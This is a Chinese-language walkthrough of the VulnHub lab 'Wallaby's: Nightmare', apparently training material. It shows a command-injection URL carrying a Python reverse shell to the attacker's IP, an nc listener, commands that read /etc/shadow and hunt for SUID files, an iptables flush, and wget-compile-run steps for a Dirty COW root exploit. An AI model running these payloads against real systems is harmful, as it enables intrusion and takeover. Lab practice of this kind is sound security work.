Wallaby's: Nightmare (v1.0.2)
来自 <Wallaby's: Nightmare (v1.0.2) ~ VulnHub>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.182,靶场IP192.168.23.228
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.228
访问80端口存在的http服务
输入名字,跳转到一个新的页面,这个网站存在文件包含漏洞
4,枚举扫描出网站子目录
dirsearch -u http://192.168.23.228 -x 403,404
发现刷不出来,再用nmap扫描
访问 http://192.168.23.228:60080
天哪,这个家伙管理员要我......很高兴我搬到了另一个港口,这样我就可以更安全地工作了!!
众所周知,通过隐匿性实现安全是必经之路......
5,再进行扫描,主要是搜索对应的参数
http://192.168.23.228:60080/?page=mailer
查看页面源代码
在这个网页存在命令执行漏洞
http://192.168.23.228:60080/?page=mailer&mail
http://192.168.23.228:60080/?page=mailer&mail=pwd
http://192.168.23.228:60080/?page=mailer&mail=ls
6,然后再通过命令执行漏洞反弹shell到kali
http://192.168.23.228:60080/?page=mailer&mail=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.23.182%22,4444));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27
1. 命令结构
python -c '...'
- 通过命令行直接执行Python单行代码,适用于快速执行无需保存脚本的场景。
2. 模块导入
import socket, subprocess, os
- socket: 建立网络连接。
- subprocess: 创建新进程(用于启动Shell)。
- os: 操作系统接口(用于文件描述符重定向)。
3. 创建Socket连接
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.23.182", 4444))
- AF_INET: 使用IPv4地址。
- SOCK_STREAM: 使用TCP协议。
- 连接到攻击者IP 192.168.23.182 的 4444 端口。
4. 重定向标准I/O
os.dup2(s.fileno(), 0) # 标准输入 (stdin)
os.dup2(s.fileno(), 1) # 标准输出 (stdout)
os.dup2(s.fileno(), 2) # 标准错误 (stderr)
- dup2: 将socket的文件描述符复制到进程的标准输入、输出、错误。
- 所有输入/输出/错误均通过Socket传输,而非本地终端。
5. 启动交互式Shell
p = subprocess.call(["/bin/sh", "-i"])
- /bin/sh -i: 启动交互式Shell(-i 表示交互模式)。
- subprocess.call: 执行命令并等待其结束(此处会持续运行直到连接关闭)。
然后kali启动一个nc监听444端口,使用python启动一个可交互shell
nc -lvvp 4444
python -c 'import pty;pty.spawn("/bin/bash")'
7,然后在kali里面信息收集
linux靶机信息收集命令表
类别 | 命令/操作 | 说明 | 示例或关键参数 |
系统信息 | uname -a | 查看内核版本、主机名、架构等 | uname -a |
cat /etc/os-release | 显示操作系统详细信息(适用于大多数发行版) | cat /etc/*release* | |
lsb_release -a | 查看系统发行版信息(Debian/Ubuntu) | lsb_release -a | |
hostnamectl | 显示主机名和操作系统版本(Systemd系统) | hostnamectl | |
硬件信息 | lscpu | 查看CPU信息(架构、核心数等) | lscpu |
free -h | 查看内存使用情况(以易读格式显示) | free -h | |
lsblk 或 df -h | 查看磁盘分区及挂载点 | df -h(显示磁盘空间) | |
用户与权限 | whoami | 显示当前用户 | whoami |
id | 查看当前用户UID/GID及所属组 | id | |
cat /etc/passwd | 列出所有用户信息 | cat /etc/passwd | |
cat /etc/shadow | 查看用户密码哈希(需root权限) | sudo cat /etc/shadow | |
sudo -l | 检查当前用户的sudo权限 | sudo -l | |
网络信息 | ifconfig 或 ip addr | 查看网络接口和IP地址 | ip addr show eth0 |
netstat -tulnp 或 ss -tuln | 查看监听端口和网络连接 | netstat -tulnp(显示PID和程序名) | |
route -n | 查看路由表 | route -n | |
arp -a | 显示ARP缓存表 | arp -a | |
服务与进程 | systemctl list-units --type=service | 列出所有系统服务(Systemd系统) | systemctl list-units --type=service |
ps aux | 查看所有运行中的进程 | ps aux | grep nginx | |
lsof -i | 列出打开的网络连接和对应进程 | lsof -i :80 | |
计划任务 | crontab -l | 查看当前用户的计划任务 | crontab -l |
ls /etc/cron.* | 检查系统级计划任务目录 | ls /etc/cron.hourly/ | |
cat /etc/crontab | 查看系统全局计划任务 | cat /etc/crontab | |
安装的软件 | dpkg -l (Debian/Ubuntu) | 列出已安装的软件包(Debian系) | dpkg -l | grep apache |
rpm -qa (RedHat/CentOS) | 列出已安装的软件包(RedHat系) | rpm -qa | grep httpd | |
日志分析 | tail /var/log/auth.log | 查看认证日志(登录、sudo操作等) | tail -f /var/log/auth.log |
tail /var/log/syslog | 查看系统日志(Ubuntu/Debian) | tail /var/log/syslog | |
journalctl | 查看Systemd日志(需root权限) | journalctl -u sshd | |
敏感文件 | find / -perm -4000 -type f 2>/dev/null | 查找SUID权限文件(可用于提权) | find / -perm -u=s -type f |
find / -writable -type d 2>/dev/null | 查找全局可写目录 | find / -writable -type d | |
grep -rnw '/' -e 'password' 2>/dev/null | 全局搜索包含关键词(如password)的文件 | grep -rni "password" /etc/ |
由此知道了操作系统和内核版本
查看能否sudo -l提权
允许root权限执行iptables命令
iptables 基本操作表
类别 | 命令/操作 | 说明 | 示例或关键参数 |
查看规则 | iptables -L -n -v | 列出所有规则(-L显示规则,-n不解析域名,-v详细信息) | iptables -L INPUT -n --line-numbers |
iptables -S [链名] | 以原始格式显示规则(便于备份和还原) | iptables -S INPUT | |
清空规则 | iptables -F | 清空所有链的规则(谨慎操作) | iptables -F INPUT(清空指定链) |
iptables -X | 删除用户自定义的空链 | iptables -X CUSTOM_CHAIN | |
iptables -Z | 重置计数器(包和字节统计归零) | iptables -Z | |
默认策略 | iptables -P 链名 动作 | 设置链的默认策略(ACCEPT/DROP) | iptables -P INPUT DROP |
规则管理 | iptables -A 链名 规则 | 在链的末尾追加规则 | iptables -A INPUT -p tcp --dport 22 -j ACCEPT |
iptables -I 链名 [位置] 规则 | 在链的指定位置插入规则(默认插入开头) | iptables -I INPUT 2 -s 192.168.1.1 -j DROP | |
iptables -D 链名 规则编号 | 删除指定链的规则(需先通过--line-numbers查看编号) | iptables -D INPUT 3 | |
IP/端口控制 | iptables -A INPUT -s IP -j DROP | 禁止指定IP访问本机 | iptables -A INPUT -s 10.0.0.5 -j DROP |
iptables -A INPUT -p tcp --dport 端口 -j ACCEPT | 开放指定TCP端口 | iptables -A INPUT -p tcp --dport 80 -j ACCEPT | |
iptables -A INPUT -p udp --dport 端口 -j ACCEPT | 开放指定UDP端口 | iptables -A INPUT -p udp --dport 53 -j ACCEPT | |
iptables -A INPUT -m multiport --dports 端口列表 -j ACCEPT | 同时开放多个端口(逗号分隔) | iptables -A INPUT -p tcp -m multiport --dports 22,80,443 -j ACCEPT | |
状态跟踪 | iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT | 允许已建立的连接和关联流量(需先放行) | 通常放在规则链开头 |
NAT转发 | iptables -t nat -A POSTROUTING -o 网卡 -j MASQUERADE | 启用IP伪装(用于共享上网或VPN) | iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE |
iptables -t nat -A PREROUTING -p tcp --dport 外部端口 -j DNAT --to 内网IP:端口 | 端口转发(将外部端口流量转到内网) | iptables -t nat -A PREROUTING -p tcp --dport 8080 -j DNAT --to 192.168.1.10:80 | |
日志记录 | iptables -A INPUT -j LOG --log-prefix "IPTables-Dropped: " | 记录匹配规则的数据包(日志保存在/var/log/syslog或/var/log/messages) | 需配合-j DROP/REJECT使用 |
保存与恢复 | iptables-save > /etc/iptables/rules.v4 | 保存当前规则到文件(需手动操作) | Debian/Ubuntu 默认路径 |
iptables-restore < /etc/iptables/rules.v4 | 从文件恢复规则 | 重启后需执行 | |
服务管理 | systemctl restart iptables | 重启iptables服务(部分系统需安装iptables-persistent) | 适用于规则持久化 |
查看规则清空规则
iptables -L
iptables -F
第二种方法脏牛提权
8,换一个脚本使用
wget https://gist.githubusercontent.com/rverton/e9d4ff65d703a9084e85fa9df083c679/raw/9b1b5053e72a58b40b28d6799cf7979c53480715/cowroot.c
gcc cowroot.c -o exp -pthread
chmod +x exp
./exp
提权成功,得到flag